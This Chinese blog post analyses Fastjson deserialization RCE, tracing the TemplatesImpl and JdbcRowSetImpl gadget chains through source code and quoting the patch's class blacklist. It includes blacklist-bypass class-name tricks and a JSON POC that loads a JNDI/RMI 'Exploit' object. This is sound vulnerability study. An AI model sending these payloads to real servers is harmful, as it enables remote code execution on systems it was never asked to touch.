主要是本次某*行动,据传闻有个fastjson的0day,我就很好奇,刚好自己之前没有学习过这个东西,所以蹭着这个时间把这个学习一下。
Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。最早的通告在 这里 。而fastjson的用法可以先看看下面这个例子。
先定义一个User类
package com.l1nk3r.fastjson; public class User { private String name; private int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
package com.l1nk3r.fastjson; import java.util.HashMap; import java.util.Map; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import com.l1nk3r.fastjson.User; public class Testfastjson { public static void main(String[] args){ Map<String, Object> map = new HashMap<String, Object>(); map.put("key1","One"); map.put("key2", "Two"); String mapJson = JSON.toJSONString(map); System.out.println(mapJson); User user1 = new User(); user1.setUsername("xiaoming"); user1.setSex("male"); System.out.println("obj name:"+user1.getClass().getName()); //序列化 String serializedStr = JSON.toJSONString(user1); System.out.println("serializedStr="+serializedStr); String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName); System.out.println("serializedStr1="+serializedStr1); //通过parse方法进行反序列化 User user2 = (User)JSON.parse(serializedStr1); System.out.println(user2.getUsername()); System.out.println(); //通过parseObject方法进行反序列化 通过这种方法返回的是一个JSONObject Object obj = JSON.parseObject(serializedStr1); System.out.println(obj); System.out.println("obj name:"+obj.getClass().getName()+"/n"); //通过这种方式返回的是一个相应的类对象 Object obj1 = JSON.parseObject(serializedStr1,Object.class); System.out.println(obj1); System.out.println("obj1 name:"+obj1.getClass().getName()); } }
结果如下所示:
{"key1":"One","key2":"Two"} obj name:com.l1nk3r.fastjson.User serializedStr={"Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"} serializedStr1={"@type":"com.l1nk3r.fastjson.User","Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"} xiaoming {"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"} obj name:com.alibaba.fastjson.JSONObject com.l1nk3r.fastjson.User@1b9e1916 obj1 name:com.l1nk3r.fastjson.User
FastJson利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,主要的API有两个,分别是 JSON.parseObject 和 JSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。
我们可以看到使用 SerializerFeature.WriteClassName 时会在序列化中写入当前的type, @type 可以指定反序列化任意类,调用其set,get,is方法。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题,我们可以看下面这个例子通过指定 @type ,成功获取了相关数据。
package com.l1nk3r.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class Test { public static void main(String[] args) { String myJSON = "{/"@type/":/"User/",/"Username/":/"l1nk3r/",/"Sex/":/"male/"}"; JSONObject u3 = JSON.parseObject(myJSON); System.out.println("result => " + u3.get("Username")); } }
结果
result => l1nk3r
之前关于这个漏洞流传的poc基本上都是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp
这个类。而这个类在7u21的反序列化 gadget 过程中,也出现过,这样来看还是需要详细跟一下,在反序列化,下面这行代码位置下个断点。
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
然后便进入 com.alibaba.fastjson.JSON
这个类中,并使用 parser.parseObjec
来解析我们传入的数据。
继续跟进,来到了 com.alibaba.fastjson.parser.DefaultJSONParser
这个类中,调用了derializer.deserialze来解析传入的数据。
由于 deserialze 是一个接口,前面的序列化方法类是 com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze 。
因此这里自然继续跟入之后会来到这个com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer类中进行相关操作,而这里有这么一段代码。
else { return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName); }
这段代码又重新回到了 com.alibaba.fastjson.parser.DefaultJSONParser 这个类中,并且调用parseObject方法来处理我们传入的数据。
这个 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 有说法,我们可以慢慢来看。
首先我们传入的 text 的值是我们构造好的 payload ,而token是等于12,根据这里if选择,理论上应该是要进入值为12的选择进行处理,所里这种情况下,自然就进入了最后一个else进行了处理。这里开始会针对我们text里面的特殊符号进行一个处理判断( lexer.skipWhitespace ),而 skipWhitespace 实现就是下面这部分代码。
public final void skipWhitespace() { while(true) { while(true) { if (this.ch <= '/') { if (this.ch == ' ' || this.ch == '/r' || this.ch == '/n' || this.ch == '/t' || this.ch == '/f' || this.ch == '/b') { this.next(); continue; } if (this.ch == '/') { this.skipComment(); continue; } } return;
所以这里的ch结果是 "
,于是便进入下图代码中进行处理。
而部分代码需要关注的就是这一行。
在 com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol 其实也是一个根据特殊符号进行选择,然后进入相应的位置进行处理的,我们可以看到当前的 chLocal
是 @
符号,而 quote
是 "
符号。
由于我们的@type是通过两个 "
闭合的,这部分while循环一直遍历到@type后面的 "
时候,自然就进入这个相等的if进行处理。
经过这一系列的处理之后, com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol 的返回结果自然是 @type
。
也就是我们最开始时候key的结果是 @type
,而继续往下自然进入到了这里。
而根据前面的分析,我们知道scanSymbol方法会遍历 "
内的数据,当数据一样的时候,就会直接放回value的结果,经过处理之后,这里的clazz的结果自然是我们需要的那个rce的触发类。
我们前面说过由于 deserialze 是一个接口,前面的序列化方法类是 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze ,而传入的clazz正是我们想要实例化的一个利用类。
我们详细看看 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze 是如何处理的,进来之后,token是16,而text正是我们传入的值。
经过处理这里会调用 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField 方法,
boolean match = this.parseField(parser, key, object, type, fieldValues);
跟进这个方法,这个方法首先会调用smartMatch方法来处理我们传入的key值,而这里的key值就是我们json中的那些字段,比如: _outputProperties
、 _name
、 _bytecodes
等。
这个方法的主要作用是进行一些『智能匹配』,方便后续获取对应变量的getter和setter。调用后这个方法会去掉字符串中的-、删除开头的下划线等,所以当我们传入了 _bytecodes
的时候,实际上就给处理成了 bytecodes
,并返回对应的FieldDeserializer对象。
而经过处理之后,这里的parseField也是一个接口,根据前面流程,这里的parseField进入的是会调用 com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField 方法来进行处理。
lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken()); ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues); return true;
这里 fieldValueDeserilizer 的对象是 ObjectArrayCodec ,所以这里自然会进入 com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray 。
而在 com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray 中,所以这里又会调用 com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze 。
而在 fastjson 在处理 [B 类型的数组时,会调用 lexer.bytesValue() ,其中的lexer对应的内容就是JSONScanner。
而这个bytesValue()方法会自动帮我们执行一次base64解码。
public byte[] bytesValue() { return IOUtils.decodeBase64(this.text, this.np + 1, this.sp); }
然后最后会在 com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer 中,通过setValue方式将value赋值给我们要执行的特殊类。
当处理 _OutputProperties
时也先会将 _
去掉,然后调用该属性的get方法: getOutputProperties()
。
然后回到用method.invoke通过反射的方式实例化我们的要调用的类。
我们可以看这部分的反射调用链,很明显了。
在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties 中调用了 newTransformer 。
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
继续跟进 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer 中调用了 getTransletInstance 。
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
首先在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance 方法中 _name
不能为空,然后这里会调用 defineTransletClassess 来处理传入的class对象。
在 defineTransletClassess 中,这里会调用 defineClass 进行处理,我们可以看到这里解析的class的name正是我们POC中构造的com.l1nk3r.fastjson.Test类。
然后会判断这个类的父类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 。
所以这也是为什么我们要在POC构造的过程中继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 。
然后会调用 newInstance ,实力化我们的传入解析的那个class对象。
然后自然就可以rce了。
这是一个调用链。
exec:347, Runtime (java.lang) <init>:13, Test (com.l1nk3r.fastjson) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:80, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:187, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:339, JSON (com.alibaba.fastjson) parseObject:302, JSON (com.alibaba.fastjson) test_autoTypeDeny:44, Poc (com.l1nk3r.fastjson) main:50, Poc (com.l1nk3r.fastjson)
指定的解析类,即 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中, _bytecodes
与 _name
都是私有属性,所以要想反序列化这两个,需要在 parseObject()
时设置 Feature.SupportNonPublicField
是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串
漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行
在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值
_bytecodes
而生成类的实例,再者因为传进去的参数都会经过 key.replaceAll("/_", "");
处理,所以使用 _OutputProperties
参数最终会调用 getOutputProperties()
方法进而触发后面的利用链。
package com.l1nk3r.fastjson; import java.util.Properties; public class Person { public String name; private int age; private Boolean sex; private Properties prop; public Person(){ System.out.println("User()"); } public void setAge(int age){ System.out.println("setAge()"); this.age = age; } public Boolean getSex(){ System.out.println("getSex()"); return this.sex; } public Properties getProp(){ System.out.println("getProp()"); return this.prop; } public String toString() { String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } }
package com.l1nk3r.fastjson; import com.alibaba.fastjson.JSON; public class TestPerson { public static void main(String[] args){ String eneity3 = "{/"@type/":/"com.l1nk3r.fastjson.Person/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}"; Object obj = JSON.parseObject(eneity3,Person.class); System.out.println(obj); } }
输出结果如下:
User() setAge() getProp() [User Object] name=Tom, age=13, prop=null, sex=null
我们可以看到
public修饰的name被序列化 private修饰的age 反序列化成功 setter函数被调用 private修饰的sex 未被反序列化 getter函数没有被调用 private修饰的prop 没有被反序列化 但是getter函数被调用
这里的sex与prop都为private变量,且都无setter方法,但是prop的getter函数被调用,sex的没有,所以我们看看源码,核心在 com.alibaba.fastjson.util.JavaBeanInfo ,该类会区分情况进行处理,会将满足条件的方法添加到fieldList列表当中供后面的反序列化操作进行调用。
满足条件的setter:
方法名长度大于4且以set开头 非静态函数 返回类型为void或当前类 参数个数为1个
满足条件的getter:
方法名长度大于等于4 非静态方法 以get开头且第4个字母为大写 无参数 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
我们上面例子中的 getProp()
返回类型为 Properties
,而 Properties extends Hashtable
,而 Hashtable implements Map
,所以 getProp()
会被调用而 getsex()
没有,那么当该get方法中存在一些危险操作的调用链,就会造成任意命令执行。
补丁中增加了checkAutoType构造方法,并且限制了黑名单和白名单。
黑名单主要由这些
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
关于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp
这个利用链,默认情况下fastjson只会反序列化public的方法和属性,而我们构造的PoC中有private的成员变量 _bytecodes
和 _name
,为了给这些变量赋值,则必须要服务端开启了SupportNonPublicField功能。
总结下就是Fastjson反序列化jsonStr时:
parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter() parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter() parseObject(jsonStr,*.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()
方法:
Lcom.sun.rowset.JdbcRowSetImpl;
详细看看
首先经过补丁修复之后,会在 com.alibaba.fastjson.parser.DefaultJSONParser 中调用 checkAutoType 来检查我们传入的类是不是在黑名单中,我们构造的这个类自然不在这个黑名单中,所以自然就过了这部分的检测。
上面一系列流程跟完之后,会进入到这么一行代码
if (clazz == null) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false); }
而loadClass方法的作用是将开头的 L
和结尾的 ;
去除。
然后自然就返回了我们想要的对象。
然后核心的处理流程其实和之前的实例化这个类的过程一样。
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:742, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:1240, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:370, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1335, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1301, DefaultJSONParser (com.alibaba.fastjson.parser) parse:152, JSON (com.alibaba.fastjson) parse:162, JSON (com.alibaba.fastjson) parse:131, JSON (com.alibaba.fastjson) testJdbcRowSetImpl:17, OtherPOC (com.l1nk3r.fastjson) main:9, OtherPOC (com.l1nk3r.fastjson)
这里我关心的是为什么 com.sun.rowset.JdbcRowSetImpl
这个方法能够导致触发RCE的问题,因为传入 dataSourceName
,先调用其setter方法。
传入了 autoCommit:true
,所以反序列化时会调用 setAutoCommit()
。
跟进connect方法,这里的getDataSoureceName返回的是dataSource,因此结果自然是我们传入的dataSource的值。
补丁中采用黑名单的方式来deny类。
然后移除开头的 L
和结尾的 ;
LLcom.sun.rowset.JdbcRowSetImpl;;
补丁中遇到typeName为 LL…;;
,便会抛出异常然后退出。
[com.sun.rowset.JdbcRowSetImpl
因为我们最早看到loadclass会去掉的不仅仅是 L
和 ;
,还有 [
,但是实际测试下来无法成功。
POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
黑名单绕过
黑名单扩展